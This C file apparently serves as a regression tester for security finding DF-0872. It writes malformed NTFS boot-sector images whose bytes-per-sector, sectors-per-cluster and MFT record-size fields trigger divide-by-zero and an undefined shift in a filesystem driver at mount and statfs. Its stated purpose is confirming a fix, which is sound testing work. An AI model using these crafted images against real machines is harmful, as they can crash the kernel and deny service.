DF-0872 / craft_variants.c
/* * DF-0872 variant tester: emits crafted NTFS boot sectors exercising the * distinct sub-bugs the finding cites. Each variant is written to argv[i+1]. * * v1_bps0_mftF6.img : bf_bps=0, mftrecsz=0xF6 -> div#0 at ntfs_vfsops.c:354 * v2_spc0_mft01.img : bf_spc=0, mftrecsz=0x01 -> bpmftrec=0 -> div#0 at statfs:620 * v3_mft80.img : mftrecsz=0x80 (cpr=INT8_MIN=-128) -> 1<<128 UB shift * * The fix must reject all three with EINVAL before any division/shift. */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <stdint.h> #define IMG_SIZE (1024 * 1024) #define OFF_SYSID 0x03 #define OFF_BPS 0x0B #define OFF_SPC 0x0D #define OFF_MEDIA 0x15 #define OFF_SPV 0x28 #define OFF_MFTCN 0x30 #define OFF_MFTMIR 0x38 #define OFF_MFTREC 0x40 #define OFF_BOOTSIG 0x1FE static void put16(uint8_t *p, unsigned off, uint16_t v) { p[off]=v&0xff; p[off+1]=(v>>8)&0xff; } static int write_img(const char *path, uint16_t bps, uint8_t spc, uint8_t mftrec) { uint8_t *img = calloc(1, IMG_SIZE); FILE *f; if (!img) { perror("calloc"); return 1; } img[0]=0xEB; img[1]=0x52; img[2]=0x90; memcpy(img+OFF_SYSID, "NTFS ", 8); put16(img, OFF_BPS, bps); img[OFF_SPC]=spc; img[OFF_MEDIA]=0xF8; uint64_t spv=0xFFFFFUL, mftcn=4ULL, mftmir=8ULL; memcpy(img+OFF_SPV, &spv, 8); memcpy(img+OFF_MFTCN, &mftcn, 8); memcpy(img+OFF_MFTMIR, &mftmir, 8); img[OFF_MFTREC]=mftrec; img[OFF_BOOTSIG]=0x55; img[OFF_BOOTSIG+1]=0xAA; f=fopen(path,"wb"); if(!f){perror("fopen");free(img);return 1;} if(fwrite(img,1,IMG_SIZE,f)!=IMG_SIZE){perror("fwrite");fclose(f);free(img);return 1;} fclose(f); free(img); printf("[+] %s (bps=%u spc=%u mftrecsz=0x%02x)\n", path, bps, spc, mftrec); return 0; } int main(void){ int rc=0; rc|=write_img("v1_bps0_mftF6.img", 0, 8, 0xF6); /* div#0 at mount */ rc|=write_img("v2_spc0_mft01.img", 512, 0, 0x01); /* bpmftrec=0 -> div#0 at statfs */ rc|=write_img("v3_mft80.img", 512, 8, 0x80); /* cpr=-128 -> 1<<128 UB */ rc|=write_img("v4_ok.img", 512, 8, 0xF6); /* valid image: must still mount-or-fail-late, NOT panic */ return rc; } |